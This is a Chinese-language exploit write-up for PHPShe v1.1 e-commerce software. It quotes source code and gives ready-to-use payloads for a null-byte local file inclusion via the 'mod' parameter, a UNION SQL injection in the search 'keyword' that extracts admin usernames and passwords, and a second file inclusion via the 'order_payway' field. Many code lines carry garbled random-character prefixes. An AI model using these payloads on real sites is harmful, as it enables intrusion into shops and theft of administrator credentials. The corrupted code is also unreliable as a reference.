phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
; u! J( k( x; b( q/* Phpshe v1.1 Vulnerability
/ N: I0 }' i" H/* ========================
& E! B, g( c7 E; K6 `7 i: J4 _, u/* By: : Kn1f3
8 F: n& B+ w8 p! u& E0 {1 H/* E-Mail : 681796@qq.com
; O2 a* Y- J# h/*******************************************************/
0×00 整体大概参数传输
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//common.php
# M( j0 ^' B% z0 Pif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 f. A2 F3 `, Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
$ L1 F# w1 P1 T& r/ selse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: l( ?% I  T; H# M1 z}
+ ]( g3 U" p! B. b% {session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

& C& j; T; w! j4 n0 i+ }0×01 包含漏洞


//首页文件
( O3 h5 G$ v+ c& k7 j<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
0 L- ^- m/ b6 U% _1 x2 o! xpe_result();
?>
//common 文件 第15行开始
url路由配置
5 J) p3 z, m. [: `  Q3 r$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
7 ]& x/ C2 ?3 c. W" c$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
% c" [% J0 I5 [9 g$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
! N* {: `& f9 O//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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<code id="code2">

//product.php文件
8 H* o% d( y/ \3 \case 'list':
$category_id = intval($id);
  {8 ^' |( A  h  I$info = $db->pe_select('category', array('category_id'=>$category_id));
: ~! c7 b/ r& d//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
  ?) H8 f) X: O  h- hif ($category_id) {
) E& o0 X3 c* O- vwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
# f. [% K& A/ O$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
* N+ M) L( z- k. R. V: Oif ($_g_orderby) {
/ z8 n/ u) \+ m' l$orderby = explode('_', $_g_orderby);
' k; d5 B0 x5 M( n2 \2 [8 R$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
. D- l  n$ j: a9 p4 }; `) x- M$ Z}
" {& ?/ s7 d4 ^" b" m# J$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 ]: E( H+ ?/ ?  `3 }//热卖排行
% _: V4 t6 B6 R% l) H+ }$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
9 j, ^; y0 w6 N- ^. _1 [, l0 ?$seo = pe_seo($info['category_name']);
- V0 @6 _3 H3 g0 u8 finclude(pe_tpl('product_list.html'));
3 s8 A7 A: q4 L4 z" [//跟进selectall函数库
( u8 x* \$ {0 o1 P- `& n) Ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 f3 G4 r' Z) T* U$ ^$ n{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 M1 |4 s3 V3 f3 H% z, U+ {}
//exp
7 b8 e  |# s/ ^/ R, x: ]product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

" F& f& X) s7 M1 E5 _$cache_payway = cache::get('payway');

+ a' K; I2 E0 w( d7 f$ Rforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

* D, ?0 S0 p4 ^- l1 \: j! {+ y3 E}

}

# R* ~0 k& v0 d6 w& {& W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

$ m5 B0 n- v+ {  I# c; ?!$order['order_id'] && pe_error('订单号错误...');

! v" u4 X& K: h" {+ t3 `if (isset($_p_pesubmit)) {

: a$ s" Q" Q) l3 [, nif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 F3 o9 s5 `& Z# sforeach ($info_list as $v) {

4 P6 f) d) p; I7 A0 X8 P$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

6 \* f! d3 r- q6 Z5 Qinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

% X; L3 h1 F' U; Kelse {

pe_error('支付错误...');

) e! V2 w/ R- R; w0 V* J}

}

( P/ D3 C$ j! w4 [- o5 M$seo = pe_seo('选择支付方式');

2 Y& h0 v: Y2 {! Winclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>